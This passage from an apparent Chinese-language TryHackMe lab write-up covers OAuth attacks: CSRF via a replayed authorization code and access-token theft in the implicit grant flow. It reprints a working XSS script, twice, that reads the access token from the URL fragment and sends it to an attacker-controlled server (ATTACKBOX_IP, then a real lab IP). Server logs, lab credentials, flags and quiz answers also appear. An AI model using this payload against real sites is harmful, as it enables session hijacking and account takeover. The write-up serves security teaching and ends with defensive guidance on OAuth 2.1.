#重定向到的URL:
http://coffee.thm:8000/accounts/login/?next=/o/authorize/%3Fresponse_type%3Dcode%26client_id%3Dkwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN%26redirect_uri%3Dhttp%253A%252F%252Fmycontacts.thm%253A8080%252Fcsrf%252Fcallbackcsrf.php

使用凭据attacker:tesla@123登录,然后点击进行授权:

image-20250606115117923

image-20250606115216874

image-20250606115529110

然后在攻击机上访问 http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/ ,并记录响应中的有效载荷(包含授权码信息)。

image-20250606115626298

image-20250606120300824

#{"code": "iMkOKt7RWMp9shFgo7FUqxG03RhhPt", "Payload": "http://bistro.thm:8080/csrf/callbackcsrf.php?code=iMkOKt7RWMp9shFgo7FUqxG03RhhPt"}
#得到的授权码
iMkOKt7RWMp9shFgo7FUqxG03RhhPt

在实验虚拟机的浏览器地址栏中执行刚才获得的有效载荷,然后以受害者身份使用凭据victim:victim登录到 http://bistro.thm:8080/csrf/ 上的客户端应用程序。

#使用获得的授权码
#http://bistro.thm:8080/csrf/callbackcsrf.php?code=xxxx
http://bistro.thm:8080/csrf/callbackcsrf.php?code=iMkOKt7RWMp9shFgo7FUqxG03RhhPt

image-20250606120407244

image-20250606120457784

image-20250606120526938

THM{CONTACTS_SYNCED} 。

问题:客户端应用程序会在授权请求中包含什么名称的参数以避免CSRF攻击?

state

image-20250606120642006

利用OAuth - 隐式授权流程

在隐式授权流程中,令牌会通过浏览器直接返回给客户端,而不需要中间的授权码。此流程主要被用于单页应用程序中,专为无法安全存储客户端机密信息的公共客户端而设计。然而,隐式授权流程存在固有的(inherent,内在的)漏洞:

  • 在URL中公开访问令牌:应用程序将用户重定向到OAuth授权端点,该端点会在URL片段中返回访问令牌。在相关的页面上运行的任何脚本都可以轻松地访问这个URL片段。

  • 重定向URI验证不充分:OAuth服务器没有充分验证重定向URI,从而允许潜在的攻击者操纵重定向端点。

  • 无HTTPS实现:应用程序不强制执行HTTPS,这可能导致通过中间人攻击拦截令牌。

  • 访问令牌处理不当:应用程序不安全地存储访问令牌,可能存储在localStoragesessionStorage中,这使其容易受到XSS攻击的影响。

弃用隐式授权流程

由于这些漏洞的存在,OAuth 2.0安全最佳当前实践建议弃用隐式授权流程,转而支持使用授权码交换证明密钥(PKCE-Proof Key for Code Exchange)的授权码流程。此更新流程通过缓解令牌暴露以及客户端身份验证不足的风险,有效地增强了安全性。

练习示例

在开始练习之前,请确保你已通过访问链接 http://coffee.thm:8000/admin/logout 以攻击者身份注销了OAuth提供程序。

在实验虚拟机中,访问http://factbook.thm:8080,你将看到一个页面,该页面允许你从CoffeeShopApp同步状态。授权过程将在我们点击“Sync Statuses from CoffeeShopApp-从CoffeeShopApp同步状态“按钮后开始。客户端应用程序被配置为使用隐式授权类型,这意味着访问令牌将直接返回给客户端。

授权URL的构造如下所示:

var client_id = 'npmL7WDiRoOvjZoGSDiJhU2ViodTdygjW8rdabt7';
var redirect_uri = 'http://factbook.thm:8080/callback.php'; 
var auth_url = "http://coffee.thm:8000/o/authorize/";
var url = auth_url + "?response_type=token&client_id=" + client_id + "&redirect_uri=" + encodeURIComponent(redirect_uri);
window.location.href = url;

受害者视角

一旦在OAuth提供程序(访问http://factbook.thm:8080并点击同步按钮即可跳转)上使用了凭据victim:victim123进行用户身份验证,那么用户将被重定向到callback.php,在那里他可以输入状态(status),此页面包含一个用于输入状态(status)并通过AJAX请求提交状态(status)的表单:

<button class="btn btn-primary" onclick="submitStatus()">Submit</button>
<h2 class="mt-4">Submitted Status</h2>
<ul class="list-group" id="status-list">
    <?php
    session_start();
    if (isset($_POST['status'])) {
        $status = $_POST['status'];
        if (!isset($_SESSION['statuses'])) {
            $_SESSION['statuses'] = [];
        }
        $_SESSION['statuses'][] = $status;
        header('Content-Type: application/json');
        echo json_encode(['status' => $status]);
        exit();
    }
    // Display previously stored statuses
    if (isset($_SESSION['statuses'])) {
        foreach ($_SESSION['statuses'] as $status) {
            echo '<li class="list-group-item">' . $status . '</li>';
        }
    }
    ?>
</ul>

出于演示目的,这个状态(status)输入字段易受XSS攻击的影响。一旦你进入状态(status)页面并输入“Hello-你好“等状态,该状态(status)就会被发布。然而,如果攻击者对此漏洞进行恶意利用,那么攻击者就可以在这里注入恶意脚本。

tips:status页面是通过访问http://factbook.thm:8080并点击同步按钮、进行登录、完成授权跳转而来的。

image-20250112213030689

攻击者视角

为了准备攻击,攻击者需要在Attackbox中使用命令python3 -m http.server 8081运行一个Python HTTP服务器并在端口8081上进行监听。如果遇到“ Port already in use-端口已在使用中 ”错误,请尝试使用其他端口号。

攻击者将把以下有效载荷共享给受害者,并将其作为状态字段的输入(假设使用了社会工程学手段):

<script>var hash = window.location.hash.substr(1);var result = hash.split('&').reduce(function (res, item) {var parts = item.split('=');res[parts[0]] = parts[1];
    return res;
  }, {});
  var accessToken = result.access_token;
    var img = new Image();
    img.src = 'http://ATTACKBOX_IP:8081/steal_token?token=' + accessToken;
</script>

让我们剖析一下此有效载荷:

  • JavaScript有效载荷首先从URL中提取片段标识符,片段标识符是跟在#符号后面的URL部分。此脚本使用substr(1)删除前面的#以获得原始片段字符串。
  • 然后,该字符串将会以 &进行拆分,以分隔各个键值对。此脚本中的reduce函数会处理每个键值对,并用=将它们进一步拆分,以隔离键和值。这些键值对随后会被存储在一个名为result的对象中。
  • 该脚本会从该对象中提取access_token值并将其赋给变量accessToken。为了窃取这个访问令牌,该脚本创建了一个新的Image对象,并将其src属性设置为一个指向攻击者所控制的服务器( http://ATTACKBOX_IP:8081/steal_token )的URL,并将访问令牌作为查询参数附加。
  • 当image被加载时,它会触发对攻击者服务器的请求,并在URL中包含被盗的访问令牌,从而有效地将令牌发送给攻击者。

在受害者机器上,将上述脚本代码复制并粘贴到status页面的状态输入字段中。一旦受害者刷新页面,攻击者构造的XSS有效载荷就会被执行。它会从URL片段中复制访问令牌,并将其发送到攻击者所控制的一个服务器http://ATTACKBOX_IP:8081/steal_token。攻击者随后可以捕获此令牌,并使用它来获得对用户账户的未授权访问。

tips:status页面是通过访问http://factbook.thm:8080并点击同步按钮、进行登录(victim:victim123)、完成授权跳转而来的。

注意:刷新页面以可视化受害者所看到的内容并检索令牌。

root@ip-10-10-162-175:~# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.9.2.217 - - [27/Aug/2024 19:30:10] code 404, message File not found
10.9.2.217 - - [27/Aug/2024 19:30:10] "GET /steal_token?token=2aauviER3lUOev8wNmXQ9B4GNUoadE HTTP/1.1" 404 -

隐式授权类型特别容易受到此类攻击的影响,因为隐式授权流程会让访问令牌在URL片段中被公开,这使得页面上所运行的任何脚本都可以访问到它。如果应用程序不强制使用HTTPS,则此漏洞会更加严重,可能导致存在通过中间人攻击拦截令牌的潜在安全风险。

答题

问题:什么符号可以将访问令牌与OAuth 2.0隐式授权流程的URL分隔开来?

tips:查看本小节的内容即可。

"#"

问题:在攻击机的浏览器中访问URL http://coffee.thm:8080/flagvalidator/ 并输入你获取到的访问令牌。可以看到flag的值是什么?

在开始练习之前,请确保在实验虚拟机中已通过访问链接 http://coffee.thm:8000/admin/logout 以攻击者身份注销了OAuth提供程序。

在实验虚拟机中访问此 URL — http://factbook.thm:8080 ,将看到一个页面,该页面允许我们从CoffeeShopApp同步状态。授权过程将在我们点击“Sync Statuses from CoffeeShopApp-从CoffeeShopApp同步状态“按钮后开始,我们将使用凭据victim:victim123进行用户身份验证。客户端应用程序被配置为使用隐式授权类型,这意味着访问令牌将直接返回给客户端。

image-20250606120813161

image-20250606121447845

image-20250606121533910

image-20250606121618617

#URL
http://factbook.thm:8080/callback.php#access_token=vo3Gep4AkuWfeTTGQIJUaQwCH2KJMD&expires_in=36000&token_type=Bearer&scope=read+write&state=
#访问令牌
vo3Gep4AkuWfeTTGQIJUaQwCH2KJMD

在攻击机的浏览器中访问URL http://coffee.thm:8080/flagvalidator/ 并输入我们获取到的访问令牌。

image-20250606121829641

image-20250606121857023

此外,我们还可以使用下面的方式来获取这个访问令牌:

在Attackbox中使用命令python3 -m http.server 8081运行一个Python HTTP服务器。

image-20250606122007690

在实验机器上,将如下脚本代码复制并粘贴到status页面的状态输入字段中。一旦受害者刷新页面(完成字段输入并提交之后),攻击者构造的XSS有效载荷就会被执行。它会从URL片段中复制访问令牌,并将其发送到攻击者所控制的一个服务器http://ATTACKBOX_IP:8081/steal_token(注意攻击机ip的字段填充)。攻击者随后可以捕获此令牌,并使用它来获得对用户账户的未授权访问。

tips:status页面是通过访问http://factbook.thm:8080并点击同步按钮、登录(victim:victim123)、完成授权跳转而来的;此处脚本中的攻击机ip要在使用时进行字段填充。

<script>var hash = window.location.hash.substr(1);var result = hash.split('&').reduce(function (res, item) {var parts = item.split('=');res[parts[0]] = parts[1];
    return res;
  }, {});
  var accessToken = result.access_token;
    var img = new Image();
    img.src = 'http://10.10.213.157:8081/steal_token?token=' + accessToken;
</script>

image-20250606122450568

image-20250606122516286

查看攻击机终端界面的输出内容,以获取访问令牌:

image-20250606122653846

#访问令牌
vo3Gep4AkuWfeTTGQIJUaQwCH2KJMD

在攻击机的浏览器中访问URL http://coffee.thm:8080/flagvalidator/ 并输入我们获取到的访问令牌。

image-20250606122936134

THM{TOKEN_HACKED} 。

image-20250606123027848

其他相关漏洞和OAuth 2.1的演变

除了前面讨论的漏洞外,攻击者还可以恶意利用OAuth 2.0实现中的其他几个关键缺陷。以下是渗透测试人员在实际对应用程序进行渗透测试时,应该注意到的一些与OAuth相关的其他漏洞。

令牌有效期限制不足

具有较长或无限生命周期的访问令牌会带来严重的安全风险。如果攻击者获取到了这样的令牌,他们就可以无限期地访问受保护的资源。通过实现短期有效的访问令牌和刷新令牌(refresh token)机制,能够限制攻击者的机会窗口,从而将有助于降低此类风险。

sequenceDiagram Client->>Auth Server: 用refresh_token获取新access_token Auth Server-->>Client: 返回新access_token(15分钟有效) Client->>Resource Server: 使用新access_token访问

重放攻击(Replay Attacks)

重放攻击是指捕获有效令牌并重用它们来获取未经授权的访问权限。攻击者可以在没有检测和防止令牌重用机制的情况下多次恶意利用令牌。通过实现nonce值和timestamp(时间戳)检查,可以确保每个令牌仅使用一次,从而能够帮助缓解重放攻击。

令牌的不安全存储

不安全地存储访问令牌和刷新令牌(例如,将令牌存储在本地或未被加密的文件中)可能会导致令牌被盗和未经授权的访问。使用安全的存储机制(如安全Cookie或被加密的数据库)可以保护令牌免遭恶意行为者的访问。

OAuth 2.1的演变

OAuth 2.1代表了OAuth标准演变的最新迭代,它建立在OAuth 2.0的基础上,旨在弥补其不足并增强安全性。从OAuth 2.0到OAuth 2.1的演变历程,是由缓解已知漏洞和整合自原始规范发布以来出现的最佳实践的需求驱动的。OAuth 2.0虽然已经被广泛采用,但仍存在一些需要改进的地方,尤其是在安全性和互操作性方面。

image-20250112213102242

重大变化

OAuth 2.1引入了几项旨在增强协议的关键变化。

  • 最重要的更新之一是弃用了implicit grant type(隐式授权类型),由于会在URL片段中暴露令牌,隐式授权类型被认定为具有重大安全风险,取而代之的是,OAuth 2.1规范建议公共客户端使用带有PKCE(Proof Key for Code Exchange)的授权码流程。

  • 此外,OAuth 2.1要求使用state(状态)参数来防止CSRF攻击。

  • OAuth 2.1还强调了 secure handling and storage of tokens(令牌的安全处理和存储)的重要性,它建议不要将令牌存储在浏览器的本地存储中,因为这样会存在遭受XSS攻击的风险,并建议使用安全cookies作为替代方案。

  • 而且,OAuth 2.1通过为redirect URI validation(重定向URI验证)、客户端身份验证和scope(权限范围)验证提供更加清晰的指引,增强了互操作性。

总而言之,OAuth 2.1是在OAuth 2.0的基础上构建的,它解决了OAuth 2.0的一些安全缺陷,并结合了最佳实践,从而提供了一个更安全、更受保护的授权框架。有关OAuth 2.1的更多详细信息,请参阅此处的官方规范

答题

在OAuth 2.1中省略了以下哪项?

a) Implicit Grant-隐式授权

b) Authorization Code-授权码

c) Tokens-令牌

d) state-状态

a

image-20250604014222969

本文小结

总而言之,本文关于OAuth的讨论内容,让我们深入了解了OAuth 2.0及其在现代Web应用程序中的重要性。我们讨论了理解OAuth所需的基本概念,包括各种授权类型OAuth流程,然后,我们还探讨了如何在Web应用程序中识别OAuth服务

通过一些练习示例,我们简单地利用了一些与OAuth 2.0相关的各种漏洞,包括implicit grant flow(隐式授权流程)的弱实现、非托管的redirect_uri的影响以及不可用的scope参数。这些示例练习凸显了确保OAuth安全实现的重要性以及与OAuth相关的常见错误配置的潜在安全风险。

最后,我们还分析了与OAuth相关的其他漏洞,并讨论了OAuth 2.1的演变,重点介绍了它的改进之处以及它将如何弥补OAuth 2.0的不足。本文内容旨在帮助你了解如何从渗透测试人员和安全编码人员的角度,来识别和降低与OAuth相关的安全风险。

posted @ 2025-06-06 12:47  Hekeatsll  阅读(256)  评论(0)    收藏  举报